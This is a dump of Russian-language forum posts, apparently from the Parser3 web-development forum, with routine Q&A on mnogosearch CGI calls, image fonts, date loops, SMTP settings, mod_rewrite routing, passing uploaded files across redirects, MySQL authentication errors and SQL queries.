[url=\"http://www.google.ru/search?as_q=kb%3A&hl=ru&newwindow=1&num=50&btnG=1&as_epq=&as_oq=&as_eq=&lr=&as_ft=i&as_filetype=&as_qdr=all&as_occt=any&as_dt=i&as_sitesearch=parser.groundzero.ru&as_rights=&safe=images\"]By Google[/url]\
[url=\"http://www.yandex.ru/yandsearch?ras=1&date=&text=kb%3A&spcctx=notfar&zone=all&linkto=&wordforms=all&lang=all&within=0&from_day=&from_month=&from_year=&to_day=4&to_month=7&to_year=2007&mime=all&Link=&rstr=&site=parser.groundzero.ru&numdoc=50\"]By Yandex[/url]\
\
[url=\"http://www.google.ru/search?as_q=kb%3A&hl=ru&newwindow=1&num=50&btnG=1&as_epq=&as_oq=&as_eq=&lr=&as_ft=i&as_filetype=&as_qdr=all&as_occt=any&as_dt=i&as_sitesearch=parser.ru&as_rights=&safe=images\"]By Google (parser.ru)[/url]\
[url=\"http://www.yandex.ru/yandsearch?ras=1&date=&text=kb%3A&spcctx=notfar&zone=all&linkto=&wordforms=all&lang=all&within=0&from_day=&from_month=&from_year=&to_day=4&to_month=7&to_year=2007&mime=all&Link=&rstr=&site=parser.ru&numdoc=50\"]By Yandex (parser.ru)[/url]"
"61372","единственное отличие -- разная сортировка (тут по релевантности, у тебя по дате desc)"
"61373","это ж нужно намеренно так сформулировать запрос.\
\
По дате, ага.\
Знаем мы эту \"релевантность\"... ;)"
"61375","пункт из FAQ\
что именно вы по нему сделали, \
а что не сумели потому, что было непонятно.\
\
сами понимаете, FAQ для того и делается, чтобы к нему отправлять = экономить всем время и силы, и не забыть чего важного, при объяснении одного и того же в сотый раз."
"61376","сейчас под рукой нет, но если указать в environment переменной полный путь к файлу-шаблону результата поиска = заработает.\
\
мы давно и успешно пользуем mnogosearch в разных проектах.\
пример\
http://ab.lv/lv/search/results.html?text=M%E7r%EDus"
"61378","не получает оттуда строку подключения к БД и соответственно сообщает, какой запрос вызвал ошибку.\
\
пробую сообщить ему путь к файлу шаблона:\
[code]$f[^file::cgi[../search.cgi;\
	$.DOCUMENT_ROOT[/usr/local/mnogosearch/etc/]\
	$.QUERY_STRING[q=^taint[$form:q]]\
]][/code]\
\
и так:\
[code]$f[^file::cgi[../search.cgi;\
	$.SCRIPT_FILENAME[/usr/local/mnogosearch/etc/search.htm]\
	$.QUERY_STRING[q=^taint[$form:q]]\
]][/code]\
\
и еще даже так:\
[code]$f[^file::cgi[../search.cgi;\
	$.SCRIPT_FILENAME[/usr/local/apache/htdocs/cgi-bin/search.cgi]\
	$.QUERY_STRING[q=^taint[$form:q]]\
]][/code]\
\
\
но получаю ту же ошибку :( \
печально, что mnogosearch при этом не сообщает, в какой папке ищет файл.\
\
может, надо какую-то другую переменную использовать? или я неправильно пишу код?\
\
может, глянете, как Вы вызываете скрипт? Буду крайне признателен!"
"61382","Приветствую всех!\
Появилась необходимость выводить информацию в ввиде картини, не получается :-) . Цифры без проблем с буквами и @ проблема.\
что делаю\
есть файл  info.html\
[code]\
@main[]\
$m[$form:m]\
$square[^image::create(150;12;0xffffff)] \
^square.font[0123456789;digits.gif](0)\
^square.text(1;1)[$m]\
$response:body[^square.gif[]]\
[/code]\
\
место где вывожу изображение\
[code]\
<img src=\"/classes/info.html?m=$messages.info\" border=\"0\">\
[/code]\
\
не могу понять как привязать файл шрифта ^square.font[0123456789;[color=\"#ff0000\"] digits.gif[/color]](0) к набору символов ^square.font[[color=\"#ff0000\"] 0123456789 [/color];digits.gif](0)\
С цифрами все понятно есть набор символов 0123456789 и файл, а как быть с надписями?\
Заранее благодарен."
"61384","я, например, использую более полный набор:)\
\
^square.font[ !^\"#^$%&'^(^)*+,-./0123456789^:^;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ^[\\^]^^_`abcdefghijklmnopqrstuvwxyz^{|^}~ЂЃ‚ѓ„…†‡?‰Љ‹ЊЌЋЏђ‘’“”•–—&#152;™љ›њќћџ ЎўёєҐіїЁ©Є«¬ґ®Ї°±ІіґµІЇё№є»јҐѕїАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюя;font .gif](2)\
\
\
шрифты делаю прогой [url=\"http://www.dehelp.com/?pr=f2g\"]Font2Gif\
[/url]"
"61386","создай динамический строковый массив. Каждая его ячейка - переменная."
"61388","Вообщем такой вопрос, не могу сообразить. \
\
В коде сайта, вот это\
\
where \
date='${now.year}-${now.month}-$day' \
\
выводит новости за текущий день. Весь код не пишу. А как вывести за текущий год? Что тут исправить? В базе, в колонке date соответственно текущая дата.\
\
И еще - а как выводить за последнюю неделю допустим? Или последние 5 новостей? Хотя бы на верный путь направьте :)"
"61393","спасибо"
"61394","а, понял...))\
\
тогда еще подскажите пожалуйсто:\
[code]where\
      date='${now.year}-${now.month}-$day'[/code]\
выводит новости за текущий день. а что надо написать, чтобы выводилось за текущий год?"
"61396","К сайту обращаются по запросу [b]/?x[/b], где [b]x[/b] — это число любое.\
Для использования link-навигации задействован такой код [b]/?^eval(${request:query}+1)[/b] (и [b]-1[/b], соответственно).\
Выяснилось, что если обратиться, и после числа написать букву, то выдается ошибка, что передано не число (передается знак \"=\").\
Поэтому, в [i]@auto[/i] самого корневого [i]auto.p[/i] добавлен такой код:[code]$str[$request:query]\
^if(^str.right(1) eq \"=\"){\
  ^str.trim[end;=]\
  $response:location[http://blog.m4rr.ru${theurl}]\
}[/code]\
Но, все равно, код link-навигации выполняется раньше.\
\
Я избрал правильный способ или есть более рациональный?\
И, кстати, как можно решить эту проблему?"
"61398","^eval(^form:nameless.int(0)+1)"
"61399","ого. круто :).\
спасибо большое. помогли :).\
\
--\
ну, и тот код сократился до:[code]\
^if(^request:query.right(1) eq \"=\"){\
  $response:location[?^request:query.trim[end;=]]\
}[/code]"
"61401","Тарифный план Normal. Пытаюсь:\
\
[code]\
^mail:send[\
	$.from[mail@*****.ru <mail@*****.ru>]\
	$.to[*******@******.ru]\
	$.subject[hello]\
	$.text[hello]\
]\
[/code]\
\
Получаю: \"[quote]The mail server doesn't like the name borisov@tversu.ru. Have you set the 'To: ' field correctly?[/quote]\"\
\
$SMTP в конфиге нету. Подскажите, в чём может быть проблема?"
"61402","надо было указать \
[code]$MAIL[\
   $.SMTP[адрес почтового сервера]\
][/code]\
\
:)"
"61403","в персом случае почта пыталась отправляться через sendmail, и sendmail-у что-то не нравилось (например некоторые sendmail-ы не людят адресов вида 'Имя <email@domain.ru>', но прекрасно отправляют на 'email@domain.ru' или '\"Имя\" <email@domain.ru>')\
\
указав $SMTP вы просто сказали парсеру, чтобы он слал письмо не через sendmail, а через smtp сервер. там запросто могут быть как те-же самые, так и иные ограничения. к тому-же сегодня там ограничений нет, а завтра запросто могут появиться."
"61405","Приветствую. \
Пытаюсь запускать Parser3 на виртуальном хостинге в качестве cgi-скрипта. Взял собранный под Linux Red hat. Залил parser3.cgi в бинарном режиме, установил права доступа к нему на 755, отредактировал .htaccess, однако сервер сообщает об ошибке 500.\
В логах: \
\
Premature end of script /../cgi-bin/parser3.cgi\
\
Есть ли вероятность того, что причина - несовместимость с операционной системой? И вообще, возможно ли под Debian использовать Parser3 как cgi-скрипт?"
"61408","В общем случайно наткнулся на сайт [url=\"http://region-kostroma.ru/desk/\"]region-kostroma.ru/desk/[/url] раньше не встречал такую защиту мейлов. Вопрос, есть ли смысл в такой защите, и на сколько она эффективна?"
"61409","Этот способ, кажись самый старый.\
Эффективен он настолько же насколько неудобен (т.е. очень эффективен и совершенно неудобен), ну по крайей мере пока боты не распознают все подряд встретившиеся картинки.\
\
От целенаправленного выдергивания этот способ не спасет"
"61410","http://www.mnogosearch.org/doc/ru/msearch-ru-doingsearch.html#search-templates\
пункт 2.\
мы так делаем.\
\
если не поможет, дайте знать, поищу готовый код."
"61411","мне кажется это маразм, тем более сейчас спаммеры практикуют несколько другие методы чем индексация страниц...\
По-моему достаточ подмеять собачку (@) на картинку"
"61413","мне нужен внутренний редирект, со всеми полями формы. Понятное дело, что с помощью используемого мною метода, описанного постом выше, поля типа file похерятся. Как мне их передать?\
\
P.S. Похоже никак. Сохранять данные формы в хешфайл, а в странице, на которую идет редирект - проверять его? Но ведь там ограниечение в 8кб. А у меня картинки в форме, по несколько мегов. Как быть?\
\
Процесс идет. Резултатов пока нет. Положительных. Переписал метод на следующий\
[code]################################################\
@makeUri[hParams][hFields]\
$hParams[^hash::create[$hParams]]\
$hFields[$hParams]\
$hFields[^hFields.union[$form:tables]]\
$hFields[^hFields.union[$form:fields]]\
^if(def $hParams.hExclude && $hParams.hExclude is \"hash\"){\
	^hFields.sub[$hParams.hExclude]\
	^hFields.sub[$.hExclude[]]\
}\
$result[$hParams.targetUrl^if($hFields){?^hFields.foreach[sField;uValue]{^if($uValue is \"table\"){^uValue.menu{$sField=^taint[uri][$uValue.field]}[&]}{$sField=^if($uValue is \"file\"){^taint[uri][^uValue.base64[]]}{^taint[uri][$uValue]}}}[&]}]\
# end of @makeUri[][/code]\
\
Теперь апач падает с ошибкой\
[b]malformed header from script. Bad header=rUdIP1Y9j06GCBulNcR5gMfyYGyHIm: parser3.exe[/b]\
\
Дока говорит, что\
[quote]The malformed header from script error message indicates that your script is not properly returning the header portion of the response. You may have misspelled Content-type, not supplied a valid type (such as text/html), or failed to print out a blank line to separate the header from body of the response.\
[/quote]\
\
Где грабли? В Парсере, или в коде?"
"61414","Думал, думал... Решил попробовать через base64. Т.е. принцип такой - грузим файл, кодируем его в бейс64, и передаем в строке запроса. На той странице декодируем из бейс64 - получаем файл. Это в теории. На практике же не получается. Апач падает с malformed header from script parser3.exe. Думал может ошибка в переводах строк. Вырезал. Не помогло. Таинтил и с uri и с file-spec - не помогло.\
\
Как сделать? Позарез надо.\
\
P.S. Суть в том, что все запросы идут в index.html, а из нее я обрабатываю строку запроса, и уже отдаю пользователю то, что нужно. Но есть страницы, в которых идет подгрузка фалов юзером - так вот эти файлы нужно передать в страницу, которую я определяю в index.html. Как это сделать? Уже все перепробовал. Нашел рабочий вариант - сохранять все поля типа file на диск, и в другой странице проверять их наличие. Но это же задница, а не решение. Подскажите, как поступить правильнее?\
\
P.S.2 Попробовал на файле маленького размера - получилось. 43 байта, кодированый в base64\
[code]R0lGODlhAQABAIAAAP///wAAACH5BAUUAAAALAAAAAABAAEAAAICRAEAOw==[/code]\
Т.е. получается закодировать, передать в строке запроса, раскодировать и получить рисунок. А с большими не получается. В чем проблема?"
"61415","есть много всяких ограничений возможного размера URI, и у сервера и у браузера, подробнее можно почитать например [url=\"http://www.boutell.com/newfaq/misc/urllength.html\"]здесь[/url].\
\
Вообще в похожих случаях лучше не заморачиваться с редиректами, а отправлять форму POSTом напрямую обработчику."
"61416","была возможность передать форму прямиком, я б не создавал треда.\
\
Короче, пришлось опять изворачиваться. Итак, имеем\
\
[code]################################################\
@makeUri[hParams][hFields]\
$hParams[^hash::create[$hParams]]\
$hFields[$hParams]\
$hFields[^hFields.union[$form:tables]]\
$hFields[^hFields.union[$form:fields]]\
^if(def $hParams.hExclude && $hParams.hExclude is \"hash\"){\
	^hFields.sub[$hParams.hExclude]\
	^hFields.sub[$.hExclude[]]\
}\
$result[$hParams.targetUrl^if($hFields){?^hFields.foreach[sField;uValue]{^if($uValue is \"table\"){^uValue.menu{$sField=^taint[uri][$uValue.field]}[&]}{$sField=^taint[uri][^if($uValue is \"file\"){^getNameFromFile[$uValue]}{$uValue}]}}[&]}]\
# end of @makeUri[]\
\
################################################\
@getNameFromFile[fFile][sDir;tFile;sFileName]\
$sFileName[^makeFileName[$fFile.name]]\
$sDir[$DATA_DIR/formData]\
^if(-d $sDir){\
	$tFile[^file:list[$sDir]]\
}\
^if($tFile){\
	^while(^tFile.locate[name;$sFileName]){\
		$sFileName[^makeFileName[$fFile.name]]\
	}\
}\
^fFile.save[binary;$sDir/$sFileName]\
$result[$sFileName]\
# end of @getFormFileName[]\
\
################################################\
@makeFileName[sFileName]\
$result[^makeRandomID[].^file:justext[$sFileName]]\
# end of @makeFileName[]\
\
################################################\
@getFileFromName[sFileName][sDir;tFile]\
$sDir[$DATA_DIR/formData]\
^if(-d $sDir){\
	$tFile[^file:list[$sDir]]\
}\
^if($tFile && ^tFile.locate[name;$sFileName]){\
	$result[^file::load[binary;$sDir/$sFileName]]\
	^file:delete[$sDir/$sFileName]\
}{\
	$result[]\
}\
# end of @getFileFromName[][/code]\
\
Юзаем примерно так\
\
[code]^if($form:thumb is \"file\"){\
		$fThumb[$form:thumb]\
	}{\
		$fThumb[^getFileFromName[$form:thumb]]\
	}[/code]\
\
Что это такое? Пришедшие файлы из формы мы аккуратненько сохраняем на диск, и по первому требованию отдаем и затираем. Что-то типа временного хранилища. Почти хешфайл ). поставленная задача решена полностью."
"61417","http://httpd.apache.org/docs/2.0/mod/core.html#limitrequestline"
"61418","[code]$fSearch[^file::cgi[/../cgi-bin/search/bin/search.cgi;\
	$.UDMSEARCH_TEMPLATE[/path_to_search_template/]\
	$.QUERY_STRING[q=^taint[$form:text]]\
]][/code]\
\
Приводит к \"not safe environment variable\"... из доки ясно, что передавать cgi-скрипту можно только стандартные переменные окружения. \
\
Задать переменную на сервере нет возможности... \
\
Можно ли ещё каким-нибудь способом передать многосечу путь к шаблону?"
"61419","1. небезопасная версия parser (keyword \"grpunlim).\
2. вспомогательный shell скриптик"
"61420","[quote]Суть в том, что все запросы идут в index.html, а из нее я обрабатываю строку запроса, и уже отдаю пользователю то, что нужно.[/quote]\
\
А каким образом вы это делаете, расскажите пожалуйста?"
"61422","это поиск\
[url=\"http://www.parser.ru/forum/?terms=%22%EA%EB%E0%F1%F1+%E0%E2%F2%EE%F0%E8%E7%E0%F6%E8%E8%22&author=&doSearch=%CD%E0%E9%F2%E8\"]http://www.parser.ru/forum/?terms=%22%EA%EB%E0%F1%F1+%E0%E2%F2%EE%F0%E8%E7%E0%F6%E8%E8%22&author=&doSearch=%CD%E0%E9%F2%E8[/url]\
\
Проблема:\
сначала была эта [url=\"http://www.parser.ru/forum/?id=54394\"]http://www.parser.ru/forum/?id=54394текст [/url]\
с ней разобрался.\
\
\
теперь после сабмита на _auth_setpwd.html\
\
выскакивает это\
\
server\
undefined method\
z:/home/test1.ru/www/_auth_setpwd.html(11:12) \
\
В чем может быть проблема\
крыша уже едет:-)"
"61423","[quote]Для того, чтобы понять что такое $MAIN:pSQL необходимо ознакомиться со [url=\"http://www.parser.ru/examples/sql/\"]статьей[/url] о переноcимости SQL запросов, скачать и подключить в auto.p один из упомянутых в ней sql-классов.[/quote]"
"61424","Делается обычным мод_рирайтом Апача. Все несуществующие страницы передаются в страницу-обработчик\
[code]RewriteEngine On\
RewriteBase /\
# прикрываем картинки\
RewriteCond %{HTTP_REFERER} !^$\
RewriteCond %{HTTP_REFERER} !^http://mysite.com/.*$ [NC]\
RewriteRule \\.(gif|jpg|bmp|png)$ - [F]\
# все в индекс\
RewriteCond %{REQUEST_FILENAME} !-f\
RewriteCond %{REQUEST_FILENAME} !-d\
RewriteRule . /process.html [L,QSA][/code]\
\
process.html\
[code]@main[]\
^Request:process[][/code]\
\
Request.p\
[code]@CLASS\
Request\
\
################################################\
@auto[][sUri]\
$sQuery[$request:query]\
$sUri[$request:uri]\
$sUri[^sUri.split[?;lh]]\
$sPath[$sUri.0]\
$tBasePath[^sPath.split[/]]\
^if($tBasePath){\
	$tBasePath[^tBasePath.select(^tBasePath.line[] > 1)]\
}\
^if($tBasePath.piece eq \"ru\" || $tBasePath.piece eq \"en\" || $tBasePath.piece eq \"tr\"){\
	$sLanguage[$tBasePath.piece]\
}\
^if(def $sLanguage){\
	$tPath[^tBasePath.select(^tBasePath.line[] > 1)]\
	$sPath[/^if($tPath){^tPath.menu{$tPath.piece/}}]\
}{\
	$tPath[$tBasePath]\
}\
# end of @auto[]\
\
################################################\
@makePath[hParams]\
^if(def $hParams.sLanguage){\
	$result[/$hParams.sLanguage/^tPath.menu{$tPath.piece/}^makeUri[\
		$.hExclude[\
			$.groupID[]\
			$.itemID[]\
		]\
	]]\
}\
# end of @makePath[]\
\
################################################\
@process[][bFound]\
$bFound(0)\
^if(-f $sPath || -d $sPath){\
	$bFound(1)\
	^Lib:location[$sPath^makeUri[]]\
}{\
	^if($tPath){\
		^tPath.menu{\
			$sGroupUri[$tPath.piece]\
		}\
		$tGroup[^Group:get[\
			$.uri[$sGroupUri]\
			$.state[^State:getIndex[active]]\
		]]\
		^if($tGroup){\
			$bFound(1)\
			^Lib:location[/?groupID=$tGroup.id]\
		}\
	}\
}\
^if(!$bFound){\
	^Lib:location[/404/]\
}\
# end of @process[][/code]\
\
Таким образом я упрощаю жизнь пользователям. Никто не станет спорить, что /product/wear/helmet/ запомнить намного проще, чем ?groupID=123&items=helmet&something=else&more=brainfucking&so=on. Можно, конечно, писать километры рирайт_рулов в .htaccess, но при динамическом наполнении сайта это утопия. Передать строку ури в страницу обработчик, вычислить и отдать нужную страницу - обычный финт."
"61425","RewriteRule . /process.html [L,QSA]\
\
дополнить\
\
RewriteRule . /process.html&%{QUERY_STRING} [L,QSA]"
"61426","там же итак стоит флаг QSA, который добавляет к строке запроса QUERY_STRING."
"61427","Откровенная моя невнимательность.\
\
Я тогда не понимаю, куда вы хотите файл передавать. Можете пояснить?"
"61428","Вырезать язык страницы и передать его параметром можно и через сам мод_рерайт. Зачем нужен финт с перебросом в корень и обратно, непонятно."
"61429","передается ведь не только язык - передаются еще номер страницы списка, номер товара, номер категории. И это только начало). Дальше, подозреваю, появятся еще. Если бы дело было только в языке, я б не заморачивался так.\
\
А вся проблема именно из-за групп, которые хранятся в БД, и вызывать их по айдишкам - сакс. Я добавил каждой группе поле uri, по которому и вызываю группу. Если она есть в строке запроса, нужно показать товары в ней. И страницу списка. И язык сайта."
"61430","зашел админ, выбрал язык. Язык указан в строке запроса, и постоянно там присутствует. Его мы определяем и обрезаем.\
\
Теперь, при добавлении картинки товара, идет передача файлов на сервер. При редиректе они теряются. Терялись). Уже не теряются. Я их сохраняю в странице-обработчике, а в странице-результате пользую.\
\
Через жопу, но иначе никак. Я, по крайней мере, не придумал."
"61431","один раз скинули в /process.html, а там и делайте все все все"
"61432","У меня сделан класс локалей, который до обработки любого контента вызывается и определяет язык проекта.\
\
[code]$PROJECT:language[/code]\
\
Можно ещё обратиться к $PROJECT:sqlLanguage, что вернёт «language = 'en'». Соответственно, это дело вставляется во все SQL-запросы и вынимается только соответствующая инфа."
"61433","Т.е. сперва мы передаем запрос в страницу process.html, тут мы определяем, что от нас хочет юзер, и вычислив, отдаем ему нужную страницу. Что непонятного? Если я все буду делат в одной странице - это будет п....ц."
"61434","У меня на сайте изначально определено 3 языка. Есил их будет больше, я чуток перепишу класс, добавив выборку из БД с дальнейшей обработкой. Код, который я выложил здесь - это всего лишь для наглядности - он неточный, и на данный момент значительно переделан и усовершенствован. Так что не придирайтесь к строкам.\
\
P.S. Уже пошел флуд. Мне нужно было передать файлы из источника в вычисленную страницу. Я их передаю. Все."
"61435","[b]Мне нужно было передать файлы из источника в вычисленную страницу.[/b] Вычисляйте и передавайте. Просто вы не обосновали (ну или я не понял), почему нельзя использовать форму.\
\
UPD. Вернее, условие я понял, а вот задачу — нет. Буду надеяться, есть в ней смысл."
"61436","итак, на сайт используется правило мод_рирайта - все несуществующие страницы передать в файл process.html.\
\
рассмотрим пример со строкой запроса /ru/admin/items/.\
Такой страницы на сайте нет, но есть /admin/items/. На этой странице идет работа с товарами - редактирование, удаление, добавление.\
\
Теперь - админ выбрал товар, хочет добавить к нему картинку. Жмет \"редактировать\", открывается форма, он выбирает картинку, жмет \"сохранить изменения\". Данные формы отсылаются в /ru/admin/items/. Этой страницы нет, Апач редиректит запрос в process.html. Тут мы смотрим, что у нас определен язык=русский (/ru/), и мы должны передать запрос со всеми(!) передаными данными в существующую /admin/items/. И тут мы получаем огромный фак, т.к. поля типа файл редиректнуть не получится.\
Для этого в process.html все поля типа файл я сохраняю в отдельном месте на серваке, а в качестве значения поля передаю название файла (генерится уникальное), под которым было сохранено значение поля, пришедшего о админа (юзера). Все поля которые не_файл - передаю в строке запроса GET-ом в /admin/items/. На странице /admin/items/ я заведомо знаю имена полей, через которые должны быть переданы файлы, и проверяю их значение - если они файл - продолжаю работу с ними, если они вдруг стринг - то я пробую достать файлы из временного хранилища, куда я их сохранил в process.html, по имени, которое передано в значении поля.\
Доходчиво? Задача и условия понятны? Если вы знаете альтернативу - подскажите - буду только благодарен."
"61437","либо таскайте все поля в GET, либо закиньте их в куки и не парьтесь."
"61438","/site/admin/ — физическая директория.\
\
'', 'en' — языки сайта.\
\
Если в адинме жать на 'en', откроется /site/en/admin/ — этой диры нет физически, но есть /site/admin/. Для этого, в [b].htaccess[/b] пишем:\
\
[code]RewriteEngine on\
RewriteRule	^(en)(.*)$	/admin/$2/[/code]\
\
В /admin/ в корне лежит auto.p с шаблоном админки, разными методами и (внимание) подключением класса locale.p )) о котором я писал ранее. Собственно там также определяется локаль, теперь уже админа. Создаются переменные типа $adminLanguage, $adminBase ну и т. д.\
\
На странице в админе /admin/index.html есть ясное дело формы.\
\
[code]<form method=\"post\" enctype=\"multipart/form-data\">\
	<input type=\"file\">\
</form>[/code]\
\
И всё прекрасно работает."
"61439","тк у вас файлы шлются POST запросом, то и второй редирект тоже нужно не GET, а POST делать. Но это, мне кажется бред уже.\
\
Лучше всего в /process.html подключить обработчик для соотв страницы и выполнить все что нужно без всяких повторных редиректов."
"61440","Дело обстоит так: ы вот подумываем, а не бросить ли все (php) и уехать в пиндошино (перейти на парсер).\
\
Соответственно, хочется глянуть на максимально сложные сайты, сделанные на парсере."
"61441","Хостеп в принудительном порядке перевел сайты на новую платформу, с MySql 5.0\
Пришлось локально ставить это чудо. Перенес базы, вроде все хорошо, но при обращении парсером к базе получаю...\
\
В работе Parser произошла ошибка:\
client does not support authentication protocol requested by server; consider upgrading mysql clientОшибку вызвал этот фрагмент:\
mysql:/****@localhost/parser \
\
Что это? как лечить? \
Не пинайте если обсуждалось. В поиске не нашел ничего"
"61442","Может [url=\"http://www.parser.ru/powered_by_parser/\"]тут[/url]?"
"61443","А чем не устраивает php ?"
"61446","ага, обновили таки, добавили свеженького \"туда\" )"
"61447","[url=\"http://www.parser.ru/forum/?terms=client+does+not+support+authentication+protocol&author=&doSearch=%CD%E0%E9%F2%E8\"]14 страниц реплик на эту тему.[/url] Вкратце - вам поможет функция MySQL \"[url=\"http://www.parser.ru/forum/?terms=OLD_PASSWORD&author=&doSearch=%CD%E0%E9%F2%E8\"]OLD_PASSWORD[/url]\".\
\
http://www.parser.ru/forum/?id=56916"
"61448","Самое сложное - на чистом C, всё что попроще - на пэхапе, сильно дополненном и переписанном, с кучей подпорок типа memcached."
"61449","Видел более неудобные. и платные:)"
"61451","Приветствую всех!\
Вопрос может очень глупый но все же:\
Пытаюсь внести изменения в таблицу которая находится в текстовом файле.\
В таблице \
id	my\
1	5\
2	1\
3	1\
4	1\
5	1\
6	1\
7	1\
8	8\
9	1\
10	1\
11	1\
12	1\
\
код:\
\
[code]\
\
^file:lock[/counter.lock]{   \
 \
      $click[^table::load[/counter.txt]] \
                  \
           ^if(^click.locate[id;$pos]){ \
\
$result[^eval($click.my+1)]\
\
$click.mycounter[$result ]\
\
^click.save[/counter.txt]\
\
}{ \
not faund\
}\
} \
[/code]\
\
\
Выдает ошибку \
\
my\
element can not be stored to stateless_class"
"61454","и ошибка у вас не\
[quote]my\
element can not be stored to stateless_class[/quote]\
а как раз\
[code]mycounter\
element can not be stored to stateless_class\
[/code]\
в строке\
[code]$click.mycounter[$result][/code]\
вы пытаетесь присвоить значение полю таблицы. У вас это не выйдет. Таблицу можно только читать, и добавлять/удалять строки. Удалять/обновлять поля таблицы напрямую нельзя."
"61456","Без кеша любой сайт перестаёт быть монстром :-)\
\
Но есть ньюанс. Я слышал что сайты с большой нагрузкой часто используют fast-cgi, к сожалению с парсером fast-cgi не работает."
"61457","Привет всем!\
\
По роду своей деятельности, я испытываю большую заинтересованность в средствах для генерации текстовых файлов с регулярной структурой. В настоящий момент используется перловый модуль Text::Template, но по некоторым причинам он меня не совсем устраивает. \
\
У меня два вопроса:\
\
1) возможно ли использование Parser-а для генерации текстов не являющихся HTML (на беглый взгляд кажется, что может, но...)?\
\
2) возможно ли использование Parser-а как отдельного приложения без web-браузера, т.е. передать ему на стандартный вход и/или через параметры конфигурационные данные и шаблон (скрипт) и на выходе получить сгенеренный текстовый файл?\
\
С уважением,\
Игорь"
"61460","Вот такой скрипт:\
[code]\
@main[]\
$jobstep[^table::load[jobstep.cfg]]\
    ^jobstep.menu{\
        ^untaint{\
//$jobstep.step EXEC PGM=$jobstep.pgm\
//SYSPRINT DD SYSOUT=*\
//SYSIN    DD *\
/*\
//*\
        }\
    }\
[/code]\
Выдает сообщение:\
unknown untaint language #0Аварийный останов\
\
Без untaint он отрабатывал, но не так как хотелось бы (нужен plain-text в ГЕА-8) :)\
\
%0A%20%20%20%20%0A//DELETE%20EXEC%20PGM%3DIEFBR14%0A//SYSPRINT%20DD%20SYS\
OUT%3D%2A%0A//SYSIN%20%20%20%20DD%20%2A%0A/%2A%0A//%2A%0A%20%20%20%20%0A/\
/CREATE%20EXEC%20PGM%3DIEFBR14%0A//SYSPRINT%20DD%20SYSOUT%3D%2A%0A//SYSIN\
%20%20%20%20DD%20%2A%0A/%2A%0A//%2A%0A%20%20%20%20%0A//BUNG%20%20%20EXEC%\
20PGM%3DIEFBR14%0A//SYSPRINT%20DD%20SYSOUT%3D%2A%0A//SYSIN%20%20%20%20DD%\
20%2A%0A/%2A%0A//%2A%0A%20%20%20%20%0A//CLEAN%20%20EXEC%20PGM%3DIEFBR14%0\
A//SYSPRINT%20DD%20SYSOUT%3D%2A%0A//SYSIN%20%20%20%20DD%20%2A%0A/%2A%0A//\
%2A%0A%20%20%20%20\
\
Т.е. без taint он сделал почти то, что нужно. В доке написано, что кодировка по умолчанию UTF-8, а у меня консоль как раз ru_RU.UTF-8.\
\
\
А?"
"61462","Как попроще отобразить дни(числа) из заданного промежутка времени.\
Ну например промежуток с 01.01.07 по 10.02.07 и нужно распечатать дни - 1 2 3 4 ... 29 30 31 1 2 ... 10\
Может кто сталкивался подскажите плз."
"61463","[url=\"http://www.parser.ru/docs/lang/datecalendarmonth.htm\"]http://www.parser.ru/docs/lang/datecalendarmonth.htm[/url]\
\
Делаете календарь за нужный месяц, получаете таблицу, и отдельным методом проходитесь по ней, выводя числа."
"61464","^date:calendar[] как я понял делает календарь только на календарный месяц, а если будет 40 дней или 16?) И самое главное у меня так и не получилось вывести оттуда числа((("
"61465","[color=\"#cccccc\"][i]Сразу хочу сказать, что в базах данных и программировании практически ничего не понимаю и хочу разобраться.[/i][/color]\
\
В 4-м уроке написано:\
\
[quote]Прежде всего, средствами MySQL создаем новую базу данных с именем p3test, содержащую одну единственную таблицу news с полями id, date, header, body.[/quote]\
\
А как ее создать и куда разместить ничего не сказано. Я в жизни еще ни одной базы не создавал и для меня это нечно непонятное (-:\
\
На форуме нашел старое сообщение, но оно не помогло: www.parser.ru/forum/?id=13083\
\
Разъясните мне, что к чему. Установлен Apache Swissknife 3.5."
"61468","Ну если есть даты начала и конца, то всё просто.\
\
[code]$date[\
	$.begin[\
		$.year[2007]\
		$.month[01]\
		$.day[01]\
	]\
	$.end[\
		$.year[2007]\
		$.month[02]\
		$.day[10]\
	]\
]\
\
$theDate[^date::create($date.begin.year;$date.begin.month;$date.begin.day)]\
^while(!$bSkip){\
	$theDate.year/$theDate.month/$theDate.day\
	^if($theDate.year == $date.end.year && $theDate.month == $date.end.month && $theDate.day == $date.end.day){\
		$bSkip(1)\
	}{\
		^theDate.roll[day](1)\
	}\
}[<br />][/code]\
\
Вот вывод:\
\
[code]2007/1/[b]1[/b]\
2007/1/[b]2[/b]\
2007/1/[b]3[/b]\
2007/1/[b]4[/b]\
2007/1/[b]5[/b]\
2007/1/[b]6[/b]\
2007/1/[b]7[/b]\
2007/1/[b]8[/b]\
2007/1/[b]9[/b]\
2007/1/[b]10[/b]\
2007/1/[b]11[/b]\
2007/1/[b]12[/b]\
2007/1/[b]13[/b]\
2007/1/[b]14[/b]\
2007/1/[b]15[/b]\
2007/1/[b]16[/b]\
2007/1/[b]17[/b]\
2007/1/[b]18[/b]\
2007/1/[b]19[/b]\
2007/1/[b]20[/b]\
2007/1/[b]21[/b]\
2007/1/[b]22[/b]\
2007/1/[b]23[/b]\
2007/1/[b]24[/b]\
2007/1/[b]25[/b]\
2007/1/[b]26[/b]\
2007/1/[b]27[/b]\
2007/1/[b]28[/b]\
2007/1/[b]29[/b]\
2007/1/[b]30[/b]\
2007/1/[b]31[/b]\
2007/2/[b]1[/b]\
2007/2/[b]2[/b]\
2007/2/[b]3[/b]\
2007/2/[b]4[/b]\
2007/2/[b]5[/b]\
2007/2/[b]6[/b]\
2007/2/[b]7[/b]\
2007/2/[b]8[/b]\
2007/2/[b]9[/b]\
2007/2/[b]10[/b][/code]"
"61472","Допустим, у нас есть две таблицы вида:\
\
1) Таблица A\
| uid | xdata |\
\
2)  Taблица B\
| uid | aid | bdata |\
\
Таблица A логически связана с таблицей B через параметр aid - A.uid = B.aid - по принципу \"один ко многим\" (одна запись в A может иметь несколько связанных с ней записей из B, а может и ни одной).\
\
Итак, вопрос: мне нужно составить SQL-запрос, который для каждой записи из A достал бы uid и xdata из таблицы и количество строк в B, соответствующих данной записи."
"61474","если я правильно понял задачу, может так?\
[code]SELECT\
table_a.uid,\
table_a.xdata,\
COUNT(table_b.aid) AS totalB\
FROM\
table_a,\
table_b\
WHERE\
table_a.uid = table_b.aid\
GROUP BY\
table_b.aid[/code]"
"61475","[code]$dt[^date::create[2007-01-01]]\
